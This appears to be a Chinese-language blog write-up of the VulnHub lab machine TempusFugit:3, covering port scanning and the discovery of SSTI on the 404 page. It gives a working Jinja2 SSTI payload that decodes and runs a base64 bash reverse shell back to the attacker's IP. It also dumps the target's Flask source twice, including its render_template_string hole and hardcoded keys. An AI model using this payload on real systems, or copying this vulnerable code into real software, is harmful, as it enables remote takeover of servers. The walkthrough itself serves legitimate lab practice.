0%

vulnHub_TempusFugit:3

这台靶机属实nb, 在一个vbox镜像中搭起来一个微型内网, 体验了一把内网移动的感觉. 我简直是high到不行了.
靶机地址

前期扫描


 目标IP:192.168.8.8, 先用nmap扫一下端口

 只开了22和也就是说只能从web服务下手了. 访问网页看看有什么东西:

 whatweb走一波, 只知道是nginx. 然后尝试访问/index.php发现不行, 说明有概率后台不是php.
 接下来就是随便访问看看了, 拿sqlmap跑左上角的登录页面跑了半小时没东西, 也不是简单的注入. 随后我发现了这个
 访问不存在的页面会告诉你当前访问的地址. 最近👴一直在写flask的项目, 然后又考虑到后台有可能不是php, 那就ssti模板注入试试咯.

1
http://192.168.8.8/{{7*'7'}}

世界聚焦于你.jpg
 接下来就是用ssti打反向shell了. 我明天再写一篇捋捋ssti弹shell这事, 总之使用如下payload可以在靶机环境上弹出一个反向的nc shell
1
192.168.8.8/{{''.__class__.__mro__[-1].__subclasses__()[372].__init__.__globals__['os'].system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguOS8yMzMzIDA+JjEK|base64 -d | bash')}}


到这一步前期就完成了, 拿到了web服务器的www-data权限. 然后就是常规套路, 用base64上传msf的马到靶机上, 弹一个靠谱的msf shell环境回来.

拿下网站源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
from flask import Flask, render_template
import flask, flask_login
from urllib.parse import unquote
from pysqlcipher3 import dbapi2 as sqlcipher


app = Flask(__name__)
app.secret_key = 'RmxhZzF7IEltcG9ydGFudCBmaW5kaW5ncyB9'

pra = "pragma key='SecretssecretsSecrets...'"

try:
with app.open_resource('static/file/f') as f:
contents = f.read().decode("utf-8")
except:
contents = ""



def check(username):
con = sqlcipher.connect("static/db2.db")
con.execute(pra)
userexists = False
with con:
cur = con.cursor()
cur.execute("SELECT * FROM Users")
rows = cur.fetchall()
for row in rows:
uname = row[0]
if uname==username:
userexists=True
return userexists

def validate(username, password):
con = sqlcipher.connect("static/db2.db")
con.execute(pra)
completion = False
with con:
cur = con.cursor()
cur.execute("SELECT * FROM Users")
rows = cur.fetchall()
for row in rows:
uname = row[0]
pw = row[1]
if uname==username:
completion=check_password(password, pw)
return completion

def check_password(hashed_password, user_password):

return hashed_password == user_password


login_manager = flask_login.LoginManager()

login_manager.init_app(app)

class User(flask_login.UserMixin):
pass


@login_manager.user_loader
def user_loader(email):

if check(email) ==False:


return

user = User()
user.id = email
return user


@login_manager.request_loader
def request_loader(request):
email = flask.request.form.get('email')
if not check(email):

return

user = User()
user.id = email


return user



@app.route('/index.html')
@app.route('/')
def index():
return render_template('index.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
print("Login")
if flask.request.method == 'POST':

username = flask.request.form['email']
password = flask.request.form['password']
completion = validate(username, password)
if completion == False:
return render_template('unauth.html')
else:
user = User()
user.id = username
flask_login.login_user(user)

return flask.redirect(flask.url_for('protected'))


return render_template('bad.html')




@app.route('/protected')
@flask_login.login_required
def protected():

return render_template('protected.html', luser = flask_login.current_user.id, contents=contents )

@app.route('/logout')
def logout():
flask_login.logout_user()
return render_template('logout.html')

@login_manager.unauthorized_handler
def unauthorized_handler():
return render_template('unauth.html')

@app.errorhandler(404)
def not_found(e):
message = unquote(flask.request.url)
message = flask.render_template_string(message)
return render_template('404.html', dir=dir,
help=help,
locals=locals, message=message), 404

@app.errorhandler(500)
def internal_error(error):

return flask.redirect(flask.url_for('login'))




if __name__ == '__main__':
app.run()
www-data@TF3:/srv/flask_app$ ^[[Acat app.py

from flask import Flask, render_template
import flask, flask_login
from urllib.parse import unquote
from pysqlcipher3 import dbapi2 as sqlcipher


app = Flask(__name__)
app.secret_key = 'RmxhZzF7IEltcG9ydGFudCBmaW5kaW5ncyB9'

pra = "pragma key='SecretssecretsSecrets...'"

try:
with app.open_resource('static/file/f') as f:
contents = f.read().decode("utf-8")
except:
contents = ""



def check(username):
con = sqlcipher.connect("static/db2.db")
con.execute(pra)
userexists = False
with con:
cur = con.cursor()
cur.execute("SELECT * FROM Users")
rows = cur.fetchall()
for row in rows:
uname = row[0]
if uname==username:
userexists=True
return userexists

def validate(username, password):
con = sqlcipher.connect("static/db2.db")
con.execute(pra)
completion = False
with con:
cur = con.cursor()
cur.execute("SELECT * FROM Users")
rows = cur.fetchall()
for row in rows:
uname = row[0]
pw = row[1]
if uname==username:
completion=check_password(password, pw)
return completion

def check_password(hashed_password, user_password):

return hashed_password == user_password


login_manager = flask_login.LoginManager()

login_manager.init_app(app)

class User(flask_login.UserMixin):
pass


@login_manager.user_loader
def user_loader(email):

if check(email) ==False:


return

user = User()
user.id = email
return user


@login_manager.request_loader
def request_loader(request):
email = flask.request.form.get('email')
if not check(email):

return

user = User()
user.id = email


return user



@app.route('/index.html')
@app.route('/')
def index():
return render_template('index.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
print("Login")
if flask.request.method == 'POST':

username = flask.request.form['email']
password = flask.request.form['password']
completion = validate(username, password)
if completion == False:
return render_template('unauth.html')
else:
user = User()
user.id = username
flask_login.login_user(user)

return flask.redirect(flask.url_for('protected'))


return render_template('bad.html')




@app.route('/protected')
@flask_login.login_required
def protected():

return render_template('protected.html', luser = flask_login.current_user.id, contents=contents )

@app.route('/logout')
def logout():
flask_login.logout_user()
return render_template('logout.html')

@login_manager.unauthorized_handler
def unauthorized_handler():
return render_template('unauth.html')

@app.errorhandler(404)
def not_found(e):
message = unquote(flask.request.url)
message = flask.render_template_string(message)
return render_template('404.html', dir=dir,
help=help,
locals=locals, message=message), 404

@app.errorhandler(500)
def internal_error(error):

return flask.redirect(flask.url_for('login'))




if __name__ == '__main__':
app.run()